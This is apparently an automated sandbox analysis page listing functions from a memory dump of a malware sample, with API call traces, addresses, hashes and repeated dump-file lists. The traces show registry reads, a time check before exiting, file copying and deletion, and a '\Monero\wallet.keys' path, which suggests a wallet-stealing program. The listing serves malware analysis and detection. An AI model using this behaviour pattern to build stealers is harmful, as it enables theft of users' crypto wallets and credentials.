Function 00D940B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,0182D900,00000000,00020119,?), ref: 00D940F4
RegQueryValueExA.ADVAPI32(?,0182E2B8,00000000,00000000,00000000,000000FF), ref: 00D94118
RegCloseKey.ADVAPI32(?), ref: 00D94122
lstrcat.KERNEL32(?,00000000), ref: 00D94147
lstrcat.KERNEL32(?,0182E270), ref: 00D9415B

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 83462e381caf1be3d3bd2d9c407207c73ca9b3167ff8a3aaae8c90f95a54eaf2
Instruction ID: 85ab994f33782407c8a1781d32cd2850e139a5e1c0cc4a9e72b899c82ff1bb12
Opcode Fuzzy Hash: 83462e381caf1be3d3bd2d9c407207c73ca9b3167ff8a3aaae8c90f95a54eaf2
Instruction Fuzzy Hash: 1C4153B690010C6BDB14EBA0ED57FFE737DEB88304F404558B61997181EA756B888BB2

Function 00D96920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00D9696C
sscanf.NTDLL ref: 00D96999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00D969B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00D969C0
ExitProcess.KERNEL32 ref: 00D969DA

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: b39a0002547cafb2f47bf3aaf386e09c46bb0714d47a8a8220f6bfb7225fb360
Instruction ID: 726a9f089d1d1382e863df569dd7819a784c9a00017bcf0e8f814638b66dcb44
Opcode Fuzzy Hash: b39a0002547cafb2f47bf3aaf386e09c46bb0714d47a8a8220f6bfb7225fb360
Instruction Fuzzy Hash: E821CB75D1420CABCF04EFE8D9469EEB7B5FF48304F04852AE506E3250EB34A605DBA9

Function 00D97E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D97E37
RtlAllocateHeap.NTDLL(00000000), ref: 00D97E3E
RegOpenKeyExA.ADVAPI32(80000002,0181C470,00000000,00020119,?), ref: 00D97E5E
RegQueryValueExA.ADVAPI32(?,0182D6E0,00000000,00000000,000000FF,000000FF), ref: 00D97E7F
RegCloseKey.ADVAPI32(?), ref: 00D97E92

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 011a94472a30d3ab8d9faeb8bed50da7a8f097046eca52bb6db5ac88ce745348
Instruction ID: 8b158d1e8e411b06683d82b857fb60ff2aba746732a03515a9815a419a4e17f9
Opcode Fuzzy Hash: 011a94472a30d3ab8d9faeb8bed50da7a8f097046eca52bb6db5ac88ce745348
Instruction Fuzzy Hash: B41151B1A4420DEBDB04CF95DE4AFBBBBB8FB44B14F104159F615A7280D77468009BA1

Function 00D99260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0182E0A8,?,?,?,00D9140C,?,0182E0A8,00000000), ref: 00D9926C
lstrcpyn.KERNEL32(00FCAB88,0182E0A8,0182E0A8,?,00D9140C,?,0182E0A8), ref: 00D99290
lstrlen.KERNEL32(?,?,00D9140C,?,0182E0A8), ref: 00D992A7
wsprintfA.USER32 ref: 00D992C7

Strings

%s%s, xrefs: 00D992B5

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 34d66c7b63cb054b5be6a60f338ce02a2e5891d3fcc6f06422fa76a2df07fdee
Instruction ID: ba23eb4572e952c6b91f46afb1aa0bfdd6351a77fc0b2a16678d679b5766b390
Opcode Fuzzy Hash: 34d66c7b63cb054b5be6a60f338ce02a2e5891d3fcc6f06422fa76a2df07fdee
Instruction Fuzzy Hash: B301ED7550010CFFCB04DFECCA59EAD7BB9EB44354F148188F90997241C631AE54EBA5

Function 00D812A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D812B4
RtlAllocateHeap.NTDLL(00000000), ref: 00D812BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00D812D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00D812F5
RegCloseKey.ADVAPI32(?), ref: 00D812FF

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 3f215309666fa47f65aae465b92ee5509954207f447a0f53eb32cab17273b5fd
Instruction ID: d65171232e60c42036756037b1c552681bc5330eb0262e0264f75901b8fe5a2f
Opcode Fuzzy Hash: 3f215309666fa47f65aae465b92ee5509954207f447a0f53eb32cab17273b5fd
Instruction Fuzzy Hash: 4D011DB9A4020CBBDB00DFE0DD4AFAEB7B8EB48705F008159FA0597280D670AA019B51

Function 00D9C84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 00D9C8EC
___crtLCMapStringA.LIBCMT ref: 00D9C90C
___crtLCMapStringA.LIBCMT ref: 00D9C931

Strings

, xrefs: 00D9C896

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: c98812588727217b6014200a0123055f1aec2a8316b6f6b98b7e6429a67be600
Instruction ID: b28f8e154a0d7075436feb24fc90b44a54ffe3e507c06a37dc66bba406321f5f
Opcode Fuzzy Hash: c98812588727217b6014200a0123055f1aec2a8316b6f6b98b7e6429a67be600
Instruction Fuzzy Hash: 8B4116B111079C6EDF218B248C94FFBBBE89B05705F1844E8E9CA87182E2719A44CF30

Function 00D96630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00D96663

Part of subcall function 00D9A740: lstrcpy.KERNEL32(00DA0E17,00000000), ref: 00D9A788

Part of subcall function 00D9A9B0: lstrlen.KERNEL32(?,01829188,?,\Monero\wallet.keys,00DA0E17), ref: 00D9A9C5
Part of subcall function 00D9A9B0: lstrcpy.KERNEL32(00000000), ref: 00D9AA04
Part of subcall function 00D9A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D9AA12

Part of subcall function 00D9A8A0: lstrcpy.KERNEL32(?,00DA0E17), ref: 00D9A905

ShellExecuteEx.SHELL32(0000003C), ref: 00D96726
ExitProcess.KERNEL32 ref: 00D96755

Strings

<, xrefs: 00D966D9

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: e0c95f89bdeeebbd03d3650d01f989bd9cbca9cea3819e2990a1b206d749a697
Instruction ID: ee4ffaa7d9f80ffcb2568d9cd46caf96091d4a893a60e56ec815e1609b34ca5e
Opcode Fuzzy Hash: e0c95f89bdeeebbd03d3650d01f989bd9cbca9cea3819e2990a1b206d749a697
Instruction Fuzzy Hash: 163107B2801218ABDB14EB94DD96FDEB778EF04300F804189F20967191DF746A49CFBA

Function 00D987C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00DA0E28,00000000,?), ref: 00D9882F
RtlAllocateHeap.NTDLL(00000000), ref: 00D98836
wsprintfA.USER32 ref: 00D98850

Part of subcall function 00D9A740: lstrcpy.KERNEL32(00DA0E17,00000000), ref: 00D9A788

Strings

%dx%d, xrefs: 00D98847

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 9853303521b8ae35abc97c83e64078fd3b25fe1e35d6e02afb89e0f42f7e963f
Instruction ID: 0a039102b3aeb709c57ecc8dfac5a00c8cf9be88a796e241261150072d363e42
Opcode Fuzzy Hash: 9853303521b8ae35abc97c83e64078fd3b25fe1e35d6e02afb89e0f42f7e963f
Instruction Fuzzy Hash: 1421FEB1E4020CAFDB04DF94DE46FAEBBB8FB48715F104119F615A7280C779A9019BA1

Function 00D98D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00D9951E,00000000), ref: 00D98D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00D98D62
wsprintfW.USER32 ref: 00D98D78

Strings

%hs, xrefs: 00D98D6F

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: a99f365cf6bf53ffccaa33ab3d6ff2d52822ec1a4c75a811628922fed4b8b20a
Instruction ID: 3f775f4e1b3f182d72113115c2655e340d235ecbc8b382b8a35eec2b6d0cd003
Opcode Fuzzy Hash: a99f365cf6bf53ffccaa33ab3d6ff2d52822ec1a4c75a811628922fed4b8b20a
Instruction Fuzzy Hash: 50E08670A4020CBFD700DB94DD0AE5977B8EB04705F000054FD0987280D9716E009B66

Function 00D8A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D9A740: lstrcpy.KERNEL32(00DA0E17,00000000), ref: 00D9A788

Part of subcall function 00D9A9B0: lstrlen.KERNEL32(?,01829188,?,\Monero\wallet.keys,00DA0E17), ref: 00D9A9C5
Part of subcall function 00D9A9B0: lstrcpy.KERNEL32(00000000), ref: 00D9AA04
Part of subcall function 00D9A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D9AA12

Part of subcall function 00D9A8A0: lstrcpy.KERNEL32(?,00DA0E17), ref: 00D9A905

Part of subcall function 00D98B60: GetSystemTime.KERNEL32(00DA0E1A,0182A480,00DA05AE,?,?,00D813F9,?,0000001A,00DA0E1A,00000000,?,01829188,?,\Monero\wallet.keys,00DA0E17), ref: 00D98B86

Part of subcall function 00D9A920: lstrcpy.KERNEL32(00000000,?), ref: 00D9A972
Part of subcall function 00D9A920: lstrcat.KERNEL32(00000000), ref: 00D9A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00D8A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00D8A3FF
lstrlen.KERNEL32(00000000), ref: 00D8A6BC

Part of subcall function 00D9A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D9A7E6

DeleteFileA.KERNEL32(00000000), ref: 00D8A743

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 608e5e2796fe59e2628d241812231a61dc0b00d5534907b13c9ac136fc205d06
Instruction ID: c229c283cdb1be5cbf2127c4e11487f7f1bbd3cd7f58a341ac939967314d0430
Opcode Fuzzy Hash: 608e5e2796fe59e2628d241812231a61dc0b00d5534907b13c9ac136fc205d06
Instruction Fuzzy Hash: 53E1BB73820118AADF05FBA8DD92EEE7338EF54300F508169F51676091EE346A4DDBB6

Function 00D8D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D9A740: lstrcpy.KERNEL32(00DA0E17,00000000), ref: 00D9A788

Part of subcall function 00D9A9B0: lstrlen.KERNEL32(?,01829188,?,\Monero\wallet.keys,00DA0E17), ref: 00D9A9C5
Part of subcall function 00D9A9B0: lstrcpy.KERNEL32(00000000), ref: 00D9AA04
Part of subcall function 00D9A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D9AA12

Part of subcall function 00D9A8A0: lstrcpy.KERNEL32(?,00DA0E17), ref: 00D9A905

Part of subcall function 00D98B60: GetSystemTime.KERNEL32(00DA0E1A,0182A480,00DA05AE,?,?,00D813F9,?,0000001A,00DA0E1A,00000000,?,01829188,?,\Monero\wallet.keys,00DA0E17), ref: 00D98B86

Part of subcall function 00D9A920: lstrcpy.KERNEL32(00000000,?), ref: 00D9A972
Part of subcall function 00D9A920: lstrcat.KERNEL32(00000000), ref: 00D9A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00D8D481
lstrlen.KERNEL32(00000000), ref: 00D8D698
lstrlen.KERNEL32(00000000), ref: 00D8D6AC
DeleteFileA.KERNEL32(00000000), ref: 00D8D72B

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
